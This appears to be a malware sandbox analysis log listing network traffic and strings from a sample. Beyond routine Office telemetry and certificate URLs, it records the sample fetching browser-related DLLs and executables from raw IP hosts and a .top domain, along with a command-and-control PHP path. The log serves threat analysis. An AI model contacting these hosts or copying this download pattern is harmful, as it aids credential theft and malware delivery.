Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /

Source: ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp.9.dr

String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: deff.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: file.exe, 00000000.00000002.2768663605.0000000023341000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2741444292.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exef
Source: file.exe, 00000000.00000002.2741444292.000000000086E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2742447007.0000000000CA7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2741444292.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll.1
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dlld2/U
Source: file.exe, 00000000.00000002.2741444292.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2741444292.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllNg
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2741444292.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2741444292.0000000000888000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllf$
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2741444292.000000000093E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2742447007.0000000000CA7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpHDBKEB.exeata;
Source: file.exe, 00000000.00000002.2741444292.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpRi
Source: file.exe, 00000000.00000002.2742447007.0000000000CA7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 0000001C.00000002.3467235334.00000000012EE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.3467235334.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001C.00000002.3467235334.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/indexE
Source: skotes.exe, 0000001C.00000002.3467235334.00000000012EE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.3467235334.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 0000001C.00000002.3467235334.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe#PV
Source: skotes.exe, 0000001C.00000002.3467235334.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506ncoded
Source: skotes.exe, 0000001C.00000002.3467235334.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exephpT=.s
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_451.5.dr	String found in binary or memory: http://www.broofa.com
